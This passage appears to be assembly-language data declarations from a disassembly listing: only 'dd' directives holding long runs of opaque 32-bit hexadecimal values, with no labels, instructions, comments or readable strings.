dd 4BC6619Ah, 778A9E29h, 0F11C91BBh, 4FB1819h, 0A0EC8334h
dd 827085BCh, 0A6FA2FF4h, 45F7BC98h, 0C0F7DB8Dh, 78BF3C93h
dd 0B2E2D7Ch, 0BC02E093h, 835D4BC7h, 649EC7C1h, 14566017h
dd 0DA1B51C9h, 0C170E069h, 0ADBD33B1h, 0F55F2B10h, 46747FE4h
dd 800A0218h, 0D955F37Fh, 38DCACBAh, 8B066C45h, 7BBF8Ah
dd 63688F65h, 0D9591DF4h, 0C0139488h, 7824B00Eh, 97140044h
dd 374640CCh, 163F5285h
dd 8B31968Ch, 0A5B0083h, 0C32BF008h, 0A6E705B7h, 22DDB6D3h
dd 0BE660332h, 61E9A221h, 0E8B3C34Ch, 0D6008C1Ch, 0DEE026F4h
dd 1EF9CCh, 28D5BE3Eh, 0C08B0B6Eh, 0DCC9B4h, 333945E7h
dd 8CB8AB20h, 0F18CE84Bh, 8D951029h, 2588500Ah, 6F5B697Ah
dd 13E9E246h, 10A5002Bh, 0A9071F37h, 330050F0h, 0B30C7B29h
dd 0E85A4CFBh, 0ED2D5CE9h, 0D34C904Bh, 305C081Fh, 0C2F732CAh
dd 80C1DCE8h, 11D3560Ah, 3B005901h, 108712B4h, 0B65F81B9h
dd 0AF66797Ah, 9373Dh, 0EB69274h, 192530BBh, 0C47F10A3h
dd 7E4E002Ah, 4822E508h, 0ED7F6C30h, 1E185B05h, 8CB7DA0Fh
dd 1BE2E552h, 2FE7F30h, 53C9BC9Dh, 0CD60337Dh, 5B3AF05h
dd 0EE163428h, 6DDD3090h, 1588874Bh, 825B2EC2h, 0E190FFBCh
dd 7AC27D9Eh, 719960CCh, 0C6D9D31h, 174433A7h, 58973060h
dd 0C0B1F548h, 88A2BC60h, 5E5D00A8h, 0A6826611h, 0DC1C4D84h
dd 2718CBECh, 5A59F6E8h, 0AEC6E34h, 0B0870FA6h, 92C0449h
dd 4351625h, 0E0AC51Fh, 1612160h, 0A6381D8Dh, 49B7B11Eh
dd 0FAB7F98Bh, 95578280h, 28014208h, 0EC1F8A0Fh, 0B3FA59B7h
dd 831CDDBCh, 0CCC554E7h, 781FE86Ch, 0C817880h, 0B67DFD1h
dd 11A55943h, 1085F287h, 474D31F8h, 0F4BECC03h, 136EBAF7h
dd 527D8D6Ah, 0E0CFF67Dh, 1663DB43h, 4BC7BF9h, 52325E6h
dd 97EC6EE9h, 6D858904h, 0E75B880Ah, 8B2440F6h, 4674CEC1h
dd 68EB1915h, 0D255616Ah, 824A6AA3h, 437C2F7Fh, 730B9E4Ah
dd 24D6627h, 1B02DE81h, 0DDE00BB5h, 0A7250E83h, 37B8957h
dd 5ECFB8D1h, 0F426E9Eh, 8067EA69h, 0BF3A5551h, 8D0F26E2h
dd 0BDE9448Eh, 0BC8F0073h, 42980DC3h, 0AD4901F1h, 47248D34h
dd 62446A7Dh, 0C3241A31h, 0E6B5193Dh, 0E041E14Eh, 0B2E50103h
dd 8C0F1257h, 0B85267A4h, 7380F54Bh, 3882BF5Fh, 4B5265Ah
dd 8B34F36Dh, 0C019886Bh, 6CC51EAEh, 0CBE03028h, 4AE77935h
dd 6A00036Fh, 0C611BEF6h, 0FCA1135Fh, 0F60825C1h, 3878F07Bh
dd 1AC60C9Ch, 74581BBEh, 5875EE5Bh, 0B1A099B6h, 0D324F28Eh
dd 4538034Dh, 0A8D16068h, 0D2010EBCh, 0D527205Fh, 0EE41D3FFh
dd 5D6D1CE5h, 80DA9BD2h, 63D26A1Bh, 284580A6h, 27036080h
dd 0F219DB5h, 52985h, 0B636E961h, 165C708Bh, 0B9E96080h
dd 0E5D90026h, 374A9339h, 0D72D8798h, 45739E61h, 22425746h
dd 0F650699Dh, 752D2E90h, 994C9617h, 181A7116h, 99BA1E59h
dd 0E225C1E7h, 0D711B529h, 20485C5Ah, 83FC81BAh, 681490BDh
dd 0B3A592FCh, 7DC0E71Bh, 94D0B25h, 0DCC8D84Bh, 3A1B3B12h
dd 962B76BDh, 8093D030h, 5AC06E0Bh, 0BCBC8D4Fh, 14AC1F69h
dd 211E588Ch, 17294110h, 0BB7E44E9h, 68672E00h, 0AA4FC60Bh
dd 81F8F625h, 1126F7BBh, 25C25B49h, 0F9E08360h, 0F5302FCh
dd 5A0E8188h, 16238D61h, 9919BF02h, 0F2D13590h, 6D0E6097h
dd 204E1061h, 56DFFA1Dh, 74739E00h, 0A2B22F52h, 0B592056Eh
dd 0A161585Fh, 0F14A66E3h, 6E29E9F9h, 3DD53B00h, 3A28817Ch
dd 9E7D1409h, 44CE8BA8h, 0E15A470Bh, 0E574AD48h, 0A9898217h
dd 1FC65892h, 82423B00h, 1EE9C2EAh, 45E42Eh, 94E6FDBAh
dd 0C7B96E2Bh, 56E8660Eh, 99CC325Fh, 61D805BEh, 0C39075B6h
dd 5E8B5095h, 164ABCB4h, 0D0532DE9h, 63E036B6h, 352E9F5Eh
dd 0CE061EABh, 385A318Bh, 0DB4EB0FEh, 0B8938798h, 0A1F0C0F1h
dd 5EE569Eh, 9B70E645h, 364C1ADh, 343B71E4h, 0C66E15Bh
dd 0F70032F4h, 4981FF87h, 95CDC1Dh, 86F23323h, 1B5198F3h
dd 2C385A18h, 0AD130B77h, 95F001A6h, 8F3D06C9h, 5ADD9150h
dd 23BA6A2Ah, 0A99C0119h, 20C6D74Fh, 0C79E83B4h, 0D10D3162h
dd 628420C0h, 0D82B1381h, 9B704CD3h, 0F791758h, 56F0208Bh
dd 5F5C6160h, 41BE1E47h, 6DB6092Dh, 1DD3C076h, 5004BB6Eh
dd 1862C4D4h, 2BD73FE9h, 91523CEh, 0C86D2E6Fh, 55601D64h
dd 597E708Ah, 2C892704h, 2CECC7CCh, 0E627BB8Fh, 0D23B8065h
dd 1701A36Ah, 0F3B9B204h, 6D2CB0EFh, 268F924h, 21918501h
dd 986A3BD4h, 9D1101D6h, 500FF465h, 58413AE9h, 2915B93Ch
dd 7E2A98F4h, 0B4FD2DDAh, 232F322h, 0F48354h, 0BE39CE7Eh
dd 0AB1ABF6h, 358D3113h, 4FB66022h, 0ED57412Ah, 12CB789Ah
dd 0BE342550h, 0F2E09DB6h, 4EE98B3Ch, 0C71688ACh, 49DE5F3h
dd 8D0561D2h, 8E127BD0h, 9125B1F0h, 9B6A6ACh, 0CEC80AA9h
dd 0B2932175h, 40714D2Fh, 4F48F7ADh, 0C93B7C0Ah, 17DEAB58h
dd 0C2B81DCDh, 69D90A16h, 0D8502F91h, 20EE5B03h, 0F5B5314Bh
dd 8327129Ah, 0EF4FCDC1h, 0E4B04E80h, 8B2D2C82h, 0BA4EAEF2h
dd 0DCAE7627h, 0CCDD5F00h, 892B2286h, 213D2D95h, 0A9ED6FB2h
dd 4B2D0840h, 0DE41F732h, 636A2469h, 2F56916Fh, 27F0F026h
dd 2CCB3A5h, 2505BD89h, 888B63D4h, 7E9BB20Eh, 8D8B8671h
dd 6116E16Dh, 5DD8C32Bh, 9B37D745h, 9CF8197h, 0F49F93CAh
dd 3A1A79Dh, 71873FEFh, 68707A36h, 0BA8B0Dh, 0E5E0B3C3h
dd 27A1C94Ah, 95741C05h, 70B16797h, 2D213741h, 0ADC3C39Eh
dd 0B8D1DAE8h, 6B85C725h, 427B90EAh, 67BE065Bh, 405561FCh
dd 93B79Dh, 19A18357h, 0CD624102h, 0B0BC9D4h, 5A924447h
dd 0C9B0D0A7h, 3A072B10h, 0B0835835h, 0BE988825h, 0C1CF1E81h
dd 0FF38C52Dh, 885F9A85h, 3087C016h, 0BBECBFF5h, 0B341AC2Dh
dd 54BEE138h, 0F6936F62h, 2A94A0DAh, 8EAB02BEh, 50EB7584h
dd 54DB140h, 0BF1DE082h, 0DBE35E35h, 6818815Dh, 60CA3B52h
dd 0D6279598h, 794FC959h, 71E7F0FEh, 44A2A78Ah, 3E4A6018h
dd 2E3F3174h, 69C95DC6h, 1F7FB8F3h, 1D3DB53h, 8D0FF2EEh
dd 2D21BB21h, 30D6C68Ch, 6E0F14E9h, 50001D75h, 39277426h
dd 2780FCEDh, 6DB2CD71h, 17073741h, 0E00B8E66h, 7823B3F9h
dd 9A002E82h, 44357E45h, 48718589h, 0C782F533h, 955BAD04h
dd 71F8EA73h, 2CB83A87h, 962E019Eh, 8B2FC1CAh, 0A24423C1h
dd 6AFE301Ah, 80A46705h, 0B4A8B509h, 0BC386D80h, 0BA3E835Ah
dd 335E040Bh, 0A7F111BDh, 7C5E6DEh, 0DE831E44h, 202A404Dh
dd 1017938h, 0DF5B4EF1h, 3F3A04EBh, 182358h, 512DDEE3h
dd 369853BCh, 5F802FECh, 99BD3A23h, 2F07ACFh, 0D0A4F7A9h
dd 10DC1B6h, 94D9F512h, 71585BA3h, 0A5011DE5h, 0DA80E5C9h
dd 505E1102h, 10566027h, 8DD4B1h, 74D38B44h, 0A19B51F2h
dd 5E714175h, 5F505239h, 61250D97h, 4B293DB0h, 91F69795h
dd 470A859Dh, 59E68E55h, 0B51F1D24h, 93A2215Dh, 0E5327888h
dd 0C2898450h, 6192000h, 75E8EEBFh, 2B9FB644h, 4C9B78EEh
dd 48877A01h, 50FC98FFh, 5EB6EEBEh, 98B00CF2h, 814A4F29h
dd 8182E8A0h, 0BF82D1B7h, 5765E7FAh, 0E0535C84h, 81035ECEh
dd 6330AAD6h, 15A162Ah, 9C3A1185h, 37E89F59h, 2E179A7Ch
dd 0B3C54664h, 8100A3A3h, 7CC30DEEh, 0BD5A037Bh, 89A3FD95h
dd 0B22724Ch, 0BA401AB4h, 9119BE1h, 0D3FF69F9h, 0EDC8C5Eh
dd 8359B9F8h, 56A42D21h, 0B59F4005h, 9EB60C51h, 8570F9EBh
dd 0B207FCE9h, 29CCC970h, 707B5B0Fh, 1601E434h, 0BD092ADEh
dd 28761D71h, 14786C2h, 6760296Fh, 4AE7A812h, 4433F123h
dd 786BFDA8h, 0F9E59D30h, 5BB9BD2Bh, 1AC752Fh, 11F1FB18h
dd 228A6D48h, 23B9674h, 1EDCBD83h, 2D118CD9h, 0E9FB7261h
dd 0BD55C288h, 0DF11024Ch, 0FF40EBA7h, 0C28205A5h, 0A83A0DF7h
dd 34E8016Dh, 0F50479FAh
dd 0E997029Fh, 8B05DBB9h, 642A85BDh, 7AF08937h, 8500876Eh
dd 4ED34501h, 80900205h, 288DC084h, 59B84E60h, 0AEE513BCh
dd 4E65F76Ah, 0EC00916Ah, 0DB0591EDh, 4E2C90DDh, 512516C4h
dd 0ACA992D3h, 877B5A07h, 7591212Dh, 168C2E2Ch, 0F88825C2h
dd 0CDF66A9Ah, 903B2210h, 0A250F397h, 21D00012h, 86A0161Eh
dd 54EF0BBEh, 0C0290CBh, 870E33E9h, 53090409h, 337978EDh
dd 9965E000h, 684AFAB8h, 230F60E8h, 0BC72F6E9h, 82C65400h
dd 51EFE146h, 0AD1C120Eh, 8078EC29h, 0D6E2CD43h, 0A2640E0Ah
dd 0A660FAE0h, 7B07D1A4h, 0E6C4B24Eh, 0C5E0D2F6h, 0A72D7D5Fh
dd 6D478259h, 70E60216h, 77C375Dh, 0A7C8F836h, 71E4728Bh
dd 72DCD754h, 898EB70Ch, 0A3002477h, 89707C64h, 0D8B606A0h
dd 49837BDh, 0F5144D2Ch, 256F6FEBh, 8BEDBC0Bh, 1DD1E9F9h
dd 9C03CD18h, 0A0394045h, 0C6D9043h, 59B51303h, 42F2C929h
dd 0B555354Bh, 801A9132h, 0D1CA97D2h, 10CE710Dh, 4AFFB70Fh
dd 860493B2h, 87959ADEh, 0F83934C4h, 0BE5E0088h, 1083A63h
dd 2E39BA93h, 26D46D3Eh, 9C161334h, 9301C7CCh, 3EEC8158h
dd 81311A26h, 541EFF8h, 0FE796F30h, 0B8ABFD93h, 0A7E927DDh
dd 2661371Ah, 0D63639F6h, 0AA0F9A6h, 4500FE77h, 0D86C1DAh
dd 59B59D29h, 0D6016C2Ch, 16E9190Bh, 446F2EB0h, 0C58BC616h
dd 608F0BB6h, 11214C02h, 0ACC88000h, 968AB661h, 0B09BF7CBh
dd 7CD72A1h, 0B509C9BBh, 0D1523B89h, 9D0D216Ah, 1B5F5689h
dd 5C8AD281h, 335381F0h, 21945B5h, 5672415Eh, 7AF14291h
dd 379F4F92h, 0FCAA0512h, 0B5CE8037h, 6E9110C9h, 40B7EFA7h
dd 0CD304FACh, 0D6A0BF04h, 42804E67h, 2D5229C6h, 35A261F3h
dd 6BFC011Dh, 0E174F4h, 607559F3h, 0C2BEF08Bh, 312793EEh
dd 0F8A5E661h, 83F8127Bh, 0BC24FDC1h, 647100F9h, 81185C83h
dd 0A01C6F7h, 4DBE42F3h, 0DADEA650h, 42B44561h, 3DD8FEEAh
dd 29FA23A2h, 0D18DAAC5h, 0B0B98D93h, 4C40AF96h, 73512E61h
dd 6B8B3069h, 1B918D9Fh, 32E06A80h, 0CC00D8EFh, 0ABE3BB3h
dd 0B754FADFh, 116527B8h, 12B5B80h, 10E681C3h, 6D7A49D7h
dd 13238E2Ch, 6AE896A9h, 0E9EF3B13h, 0C08B8BD1h, 0A9B8DA7Dh
dd 0F28BCE16h, 0C9FC23D5h, 6ED4B80h, 2E02FC73h, 36129DECh
dd 5F10427Fh, 2D5A2D89h, 25CD9509h, 0C0976D1Dh, 0DC909B1Ah
dd 89E74105h, 6DAC618Dh, 14A26943h, 162F6031h, 2D4A8F95h
dd 603D4F35h, 30C7B338h, 60A8B500h, 8D31B6B1h, 0E7044A0Dh
dd 0B4045E0Bh, 0EED990E0h, 7AFA207Ah, 48009517h, 5030FCFDh
dd 139D4F3h, 8326690Ch, 2B5FDC66h, 43B688h, 9FB1BB15h
dd 81D50D2Eh, 9B4CE3Ch, 765F46DDh, 25B5C1E3h, 0DB900227h
dd 0AB887053h, 4C6DE000h, 8B7BAEE4h, 93214EB5h, 0A3FFC735h
dd 0F9E2045Ch, 0BD031F40h, 4842095Eh, 7E1341B5h, 8D01852Ah
dd 0E23B88F5h, 0A566DE0Eh, 0C9BA6012h, 45E96183h, 0D8D6C009h
dd 9E551D03h, 0FC9BE230h, 0F6B8F9BDh, 0C5D38A05h, 0B0C29B0Fh
dd 68B1012h, 11380DD4h, 0BD0920B1h, 7CC925DDh, 20CE161Fh
dd 36B42B31h, 93892440h, 2CCF1FDAh, 9944C09Ah, 64E988B9h
dd 87D181BFh, 44212866h, 0AECF0440h, 84095CB7h, 287570D9h
dd 0C0335850h, 0E8813C2Eh, 2A880064h, 3023EB6Ah, 223F66B1h
dd 0BE05FECBh, 5C325211h, 0F495F40Fh, 0D1D3527h, 70C46Fh
dd 0F24038A1h, 0F80AE945h, 0B17FF71h, 0ADF40DBDh, 187A1C1h
dd 9F1F314h, 688DBD31h, 0B4FA8B87h, 4C7969A5h, 0F8A661A7h
dd 0C9998214h, 6F278454h, 0B974087h, 48A2870Fh, 7B0A19D4h
dd 0D91F86Ah, 0A7905027h, 127D8A7Fh, 5F7B1118h, 572A42AEh
dd 0B0A0A019h, 0D72792A7h, 789CB233h, 6A37B795h, 505EC204h
dd 3F84CCFCh, 5D7AAB58h, 0B6DA8803h, 0CAE15D46h, 0B58D41A8h
dd 6ADB24E9h, 838EB7B7h, 214ED707h, 0FBF6E7F8h, 51349F05h
dd 0CF88B529h, 0AF4C9F5Fh, 8CB061B0h, 29617A9Eh, 53E3D95h
dd 0DBD3FFB4h, 0EC1CC198h, 203A4A0Bh, 0FDDE733Dh, 0A57FA200h
dd 92E231A7h, 9F660E44h, 0B8855760h, 2FDC5DBh, 6199491Ah
dd 1BD81D1h, 1254409Ch, 383E42E9h, 2A414CF0h, 85F25A3Ch
dd 7AD87C53h, 219116F1h, 65CD318Dh, 557EC81Fh, 51887102h
dd 7ED13EF1h, 3B021081h, 0A59DB85Fh, 0D026DB07h, 8300D64Dh
dd 87855A56h, 1633A4DDh, 9D08C1BDh, 0F1E6B78Ch, 5FF05604h
dd 5F412DC1h, 0ABA29324h, 20603D7Bh, 0A68F8305h, 0BB720F0Ch
dd 8BD5EE44h, 28CD62EFh, 1A11BBD1h, 0A9ED7150h, 4A6AE9E6h
dd 57E840h, 0D7E63EACh, 0A1A0A227h, 6EB85EF7h, 69012781h
dd 1DD3EC71h, 0DFF79C57h, 4DE9CDE8h, 81B45E1Ch, 0FB1280C7h
dd 0E7C25049h, 6017E466h, 509FAFDEh, 12D6D91Ch, 358D0DBEh
dd 0E2890B1Bh, 0B525A545h, 0CF5D0744h, 61A25069h, 98B430E1h
dd 0E489092Dh, 1249497Fh, 0C7005DF8h, 49984A8Ah, 62586916h
dd 991C207h, 2989D251h, 1610F285h, 628C0F50h, 0F3D6691Bh
dd 0C21CEB9h, 5EEA45E9h, 3B09F403h, 81986EE8h, 0B05045E2h
dd 776F3Eh, 7FF73ADDh, 51FF1E0h, 15850111h, 0E773A72Bh
dd 0EB740A30h, 0C4E54C45h, 70D4174h, 2119482h, 70F871E4h
dd 4D2B7CB2h, 204BD6D1h, 6EA2BFB6h, 8B2DA770h, 0E137C3h
dd 91851442h, 8B27E4EDh, 0F6C80AF0h, 0C50C1109h, 0ED7B27A9h
dd 1CF9B058h, 425793FAh, 5F5EF18Bh, 0BF014254h, 1C40D6FCh
dd 2045572Ah, 9C7597C0h, 7EA9AD04h, 57A844B1h, 4D87884Ah
dd 7C544200h, 88A4EFCEh, 0C21002EAh, 0F93DC087h, 93956354h
dd 3A3BCFCh, 20698E36h, 1BA8CC1h, 78D4125Dh, 0BDB5E27Bh
dd 1491BC9Fh, 5456C48Bh, 9E10E808h, 884C0E5h, 5E7F353Bh
dd 0D69E8300h, 93476ADEh, 251C9AD8h, 41B3779Bh, 0D1F39227h
dd 0D6E0AE21h, 31840A04h, 0CD81AD21h, 142C19BBh, 527F809Dh
dd 81FE9B38h, 50D65A24h, 7A6B725h, 0E74356BAh, 0AA3451EFh
dd 1759692Eh, 0F691024Ah, 8C2A1D75h, 14E18FD3h, 19A8A3EDh
dd 5F02028Ch, 84BD3BD0h, 0E322EB56h, 40F4CF9Dh, 4A41C9AAh
dd 0A3EA8D00h, 0B0605597h, 886158E0h, 0A6118516h, 62A64B87h
dd 0EDA308B0h, 1158E77h, 248FB595h, 18AFD05Eh, 208D8995h
dd 0DCA00AE9h, 6572F681h, 0AD46C128h, 2C0BAD4Eh, 7033F358h
dd 1B097534h, 70B64C17h, 6BDC27B9h, 65E0B413h, 4A00B34Dh
dd 0E3B58D57h, 2A29061h, 0A97C2514h, 0A4D25E6Fh, 128B5144h
dd 0ED07B9F2h, 98ECED66h, 0C18325C6h, 4D786A5Bh, 4BF55A63h
dd 5E560389h, 1B467Ch, 3883A079h, 2DB5D142h, 0AA09F51Fh
dd 928269B7h, 0C02DD9C9h, 822A81A7h, 0B3986F60h, 0A244BAB4h
dd 0C456604Bh, 33481710h, 6061DF16h, 41BD31CBh, 545B02FFh
dd 3AC13D74h, 0EC485C20h, 0E7DB0037h, 85BF937Ch, 985C9C6Ah
dd 0A6240F25h, 2BC082C6h, 0DC6F7CC3h, 0C59C4D01h, 8161C232h
dd 49C4143Dh, 12B11704h, 0E9B1CBA7h, 34E0162Bh, 0B611E9F0h
dd 1C60F16Ah, 7EA58442h, 89C08154h, 3E33E995h, 85C7FB31h
dd 119C412Bh, 30186B65h, 431AD7CBh, 5E38168Eh, 0BE3F40EFh
dd 0BD006166h, 3A53F022h, 4121B529h, 289A2A08h, 91C2E22h
dd 79E7A19Dh, 5CB96881h, 0B7091646h, 1C026BE4h, 61C5AAC7h
dd 40A1ED2Dh, 8DCB9769h, 0CE9A6109h, 9FEFD95Dh, 0DCE91509h
dd 0DAAD745Eh, 0C100DC4Fh, 0D51E7EECh, 4F639890h, 0A8BF1535h
dd 0ED12E3BCh, 0EAF6EECEh
dd 29BAF0E7h, 6D066A3Ch, 7456B53Eh, 24CD2594h, 10D57A22h
dd 30BA5704h, 259A8E05h, 33AF6201h, 0B773DDEh, 1FA99C8h
dd 0E907DF31h, 0CE5EFE8Bh, 0D5671377h, 14B8AC8h, 0A7D64958h
dd 7BCAD028h, 6427A36Eh, 4E0172C4h, 2F018F74h, 6979FA8Bh
dd 874E0CB8h, 0C780109Bh, 7F0F6997h, 10457A90h, 0FCFA206Bh
dd 77003F93h, 63F9BB9Dh, 0A9B4EC57h, 0E90102B5h, 0CD113EEDh
dd 0B30AC41h, 8AC60CC0h, 1E25AB02h, 0EDF8100h, 24AB2FCAh
dd 0BF60FF40h, 0D33A8804h, 0CEB1B925h, 709D5BCAh, 51002C1Ch
dd 0E181674Dh, 99888DD0h, 0AC0B81BBh, 0D0536221h, 0D2C3FA9h
dd 7E00F05Ch, 0C1230ADFh, 0C8FC4BADh, 32160843h, 0C300EB47h
dd 0DD1C1EA7h, 0E18D2621h, 820F89A0h, 0B737E0FAh, 10F41CC8h
dd 5C14915Dh, 5CA681ADh, 3CFC106Dh, 0D5F70090h, 7C113451h
dd 293C1E15h, 2F0A5E9Dh, 6DA5348Bh, 754EC17Eh, 2A91718Bh
dd 0E1831302h, 0B4074301h, 2E14A153h, 4C5EC851h, 17BD1412h
dd 0D281B01Bh, 29310598h, 0BE606178h, 1B2F3D1Ah, 94444AE0h
dd 0E88C161Dh, 8C1DFC81h, 19D41300h, 0FE0BD3Fh, 0D9311D8Ch
dd 686DDF33h, 13AAB531h, 80C6032Bh, 0D64123F7h, 0B8977D3Dh
dd 0F1920131h, 0DEE6C739h, 0F15C61FAh, 0BF6B852Fh, 0D0CC5698h
dd 0A31B0061h, 0F03309D6h, 8E3B637Ah, 4685006Ch, 893821E2h
dd 0D85D4DBDh, 93AF5829h, 0EDE6E924h, 390ECC8h, 0BB66B007h
dd 0FA420C38h, 0B8BD5D89h, 4F5900BDh, 0A354C787h, 0F2DB7D9h
dd 203DEC89h, 0B482555h, 492920F1h, 1D202C61h, 7C8A6058h
dd 8543825Dh, 0F2E49D2Bh, 5A83A661h, 0B076A72Ah, 25298FDh
dd 7DBB918Bh, 8D039E6Bh, 60692D0Dh, 27002E37h, 0B0FCCB68h
dd 0A75199BAh, 64C3E0CDh, 3D55A04Ah, 5CF048FCh, 0F96D565Ah
dd 0B52B8C3h, 134E09Ch, 1A0C9E84h, 0A4695456h, 0A1D91E2Ah
dd 0B4293720h, 3497BCC4h, 1409F07Eh, 0A0D950D8h, 0B2F40200h
dd 58B9C9h, 7F3ED737h, 69FEB321h, 0C25FB02Ch, 31135122h
dd 3729D5BDh, 91499DEEh, 0B4DE8018h, 90BA1337h, 5F2D60D8h
dd 2CE4A6BFh, 125A194Ch, 0C652F0Dh, 74A817FDh, 13831A48h
dd 7F700211h, 1071F681h, 5D10C586h, 0F040566Bh, 5F793D40h
dd 1CF9209Ch, 0EE18825Eh, 71604760h, 0DAEF9F28h, 9B945640h
dd 0D0A0639Ah, 4F2AF58Dh, 95EC5D8Bh, 0D301A92Bh, 4D49259Ah
dd 0DB97E2EBh, 0C0F74740h, 0BB11CD05h, 675D8BFDh, 2236D195h
dd 51BFEC03h, 0B22DDBD3h, 6F01A0B8h, 9C3BC1E9h, 0C7D0F480h
dd 0E9159685h, 0C9804137h, 0BF15DF0Fh, 0C2803917h, 61C88B89h
dd 0B9C0BBCDh, 0EEBE4ADh, 0E99D6107h, 0C02B9E17h, 762D75FEh
dd 0BB571CC8h, 0DB3B520Bh, 0B958984Eh, 0A7390991h, 0F18041D5h
dd 0C18BC425h, 0B02A6056h, 5D0BFF8h, 0A76ABEDBh, 0E8EDEDCCh
dd 490A008Dh, 0B5179A90h, 0F555BD83h, 975C0EEh, 3AD12C4h
dd 50197441h, 0B8708B53h, 898EC038h, 0B713E285h, 0AA9E6721h
dd 0E7052A17h, 2267585Bh, 0EE2021E8h, 0EDC9A748h, 0C767C0AFh
dd 0E42EA1F4h, 991124ADh, 259D0109h, 76C8FEADh, 1F2AE118h
dd 629D2360h, 49BD4B2Fh, 0E8181E50h, 95DB0905h, 96174185h
dd 0F45345E6h, 5DB831E9h, 0F1B70F18h, 88346D6Ch, 3DB508CFh
dd 3FB00EDh, 33920B34h, 885CD304h, 0CBB4820Fh, 6F800CB9h
dd 0FF7A737Fh, 2F59C4C4h, 13157AAEh, 9B12C822h, 6FE851D0h
dd 0F4B1BE08h, 526C7F1Eh, 0BF0A2993h, 0D45B502h, 0BD1FF75Fh
dd 396D2A59h, 970AEB15h, 0A23B171Eh, 0A191EC05h, 0E912224Dh
dd 9A87DED4h, 8C1758C4h, 0DAC3D3D0h, 0B2F650DFh, 2D192C85h
dd 0E1EF65Bh, 0FC820912h, 0DF07E6E8h, 3F24BDh, 586D344Dh
dd 5AD6278Bh, 0F2C2C885h, 0BA3BE00h, 6CCAC8B3h, 60AF2EFh
dd 2B5B7A78h, 0F14BC8A7h, 84ED6C23h, 959CE806h, 6AB95301h
dd 5E11C6C7h, 33ED308Bh, 0F48674h, 0A8587421h, 0C1B9D08Dh
dd 0D781EB03h, 0E030F7A3h, 9F0760E8h, 0AB420E4Fh, 165F7EB9h
dd 11960534h, 0B5FA2108h, 0A0DDA502h, 0E51CC6F3h, 2B7600CEh
dd 60DBE2F0h, 9D1089AAh, 591D17F1h, 0B29374E8h, 42B3007Dh
dd 0B4D4404Ah, 7D1618E5h, 23E16298h, 0FD8F793h, 0A7BCC050h
dd 0DBE85EFCh, 13790664h, 0DAB27740h, 3B076BC8h, 2D33948Eh
dd 0D201E831h, 32EB93ECh, 218AC26Ah, 18B73758h, 0F3B2E85Eh
dd 84B0DE2Eh, 988139A7h, 0AA492A99h, 7A2F23E5h, 3733003Ch
dd 51640F48h, 1D913115h, 122B35B0h, 65162C5Ah, 0B485E697h
dd 198D9F8Dh, 5432F25h, 236FFBh, 3E73082Ch, 0B56F263h
dd 50DAD2CBh, 76B37C76h, 0B36A8609h, 40B378ACh, 870BE70Bh
dd 4000DC33h, 0D57CA95h, 31228400h, 0A43C2397h, 24C22E87h
dd 5FFA02E5h, 0D06AD6E8h, 1DCBCF4h, 0C53EFD42h, 7DE960CCh
dd 0B8340775h, 20BFEC4Fh, 6159518Ch, 0D2939D8Bh, 2CBDF210h
dd 151F24Eh, 0D6305267h, 75EE6448h, 3341F910h, 5AE9B525h
dd 4A7CFC42h, 80959E05h, 0EC99B16Dh, 0C6494A76h, 2AEC9032h
dd 7083CB83h, 0A2BE0F5Fh, 0E8879253h, 0C756BB42h, 6EDB00F4h
dd 93122829h, 0D262B1F5h, 733A974h, 4E54AB60h, 72C231C0h
dd 0B0612F78h, 2BCBFB61h, 5AA41A10h, 0DA3FE1B5h, 0CF1C885Dh
dd 27192CA0h, 7C0397C4h, 8D0F41A3h, 0F5250901h, 0DD82C38Bh
dd 3F5F0E09h, 0DB06807Dh, 710FFBC4h, 0D7C4F95Bh, 3EA56EBAh
dd 66E381F6h, 11E948BCh, 59CBB310h, 86BD9D00h, 2BB5C5F1h
dd 305B0269h, 5F254979h, 0EF001B56h, 52C30483h, 53602550h
dd 79F9ED90h, 22BB1000h, 1FB85BCEh, 7CF7127Ah, 4891F861h
dd 91D16DEh, 0DAD5FFADh, 0B19060BCh, 1D987E13h, 940034E2h
dd 6971E4B5h, 0D1F85F11h, 0BB519217h, 0A87AB0E8h, 3C2FB9FCh
dd 5B2F6460h, 97C0B04Dh, 26C7F9h, 3506001h, 958DA63Bh
dd 7627D920h, 0ED656E89h, 387B1AC9h, 13CA70h, 9A9349DFh
dd 81606D28h, 3AF1CB0Eh, 0CE8A45EAh, 442AE04h, 0B5B88DEDh
dd 0BF2C4202h, 50A8F3E4h, 0B5286265h, 0BE789D85h, 1AD8D3h
dd 0DC10F40Ch, 6AB4E1B5h, 173634DCh, 0E2058C0Fh, 0FBEF17B2h
dd 0F41A770Bh, 6648DCE6h, 0EC78C063h, 9DF547h, 9B7EB3A1h
dd 146F55F4h, 5357500Ah, 0EDA79873h, 0BF49C02Fh, 1D28A23Bh
dd 0D929F167h, 2F399107h, 40126F27h, 6111B302h, 0EFB4760Bh
dd 5BCF526Ah, 7816E1Ah, 9096E06Eh, 0D20BF4F0h, 0FA4EDA1Ah
dd 39E430CDh, 59BD65C0h, 50748213h, 137F2B14h, 0CBF919D1h
dd 0CD12EEE8h, 0D1C755Fh, 9BFCD722h, 805D80DFh, 0B06EB1C8h
dd 0F9CB68D3h, 2C00DECCh, 4F49135Ch, 0C4307AF7h, 0FF059DECh
dd 8D00AC7Ah, 86C9E9A7h, 0BD699245h, 702673E8h, 1900BEA8h
dd 8C968471h, 35BF668Eh, 0B9F1B6A4h, 0CADB8DBh, 0DDBD3151h
dd 0F2C45EE5h, 25A72C69h, 0F00CEAA0h, 6BD1D1Dh, 0FCF31FC6h
dd 0DCF99EF6h, 7A00E978h, 14659C2h, 831DD1B5h, 36EF75Bh
dd 0FC85B02h, 922068Fh, 0F6A8FFBDh, 19C10980h, 66D02B73h
dd 32F5345Ah, 0B874ADF4h, 135E388Fh, 8BA67686h, 30B6EDCAh
dd 0C21601DCh, 0FC7A05Dh, 4D1BB880h, 0C80C2C61h, 20E700F6h
dd 0AC1AFCDFh, 9897890Fh, 8B1119DBh, 31F284FCh, 0F29995B4h
dd 1053E0BAh, 73ADAC50h, 456F0079h, 0B8641871h, 155B8D03h
dd 8ABB5FF4h, 66B78DDDh, 0A8B8042Dh, 8D8B38C1h, 9F7B115Dh
dd 98C19C16h, 22C1BD01h, 0C8B2CF7Ah, 5C77C116h, 9DAA708Ch
dd 0A77A335Eh, 40EC2300h
dd 6617AAA6h, 0D392B91Eh, 0DE08E4h, 0DF6F6694h, 0C58A3DB5h
dd 0C0CCCD95h, 4D950131h, 0E5E2284Bh, 8BA58404h, 0C09BDBC0h
dd 0BE944B4Fh, 290A006Dh, 0FBF681ACh, 665B0188h, 0A110B97Ah
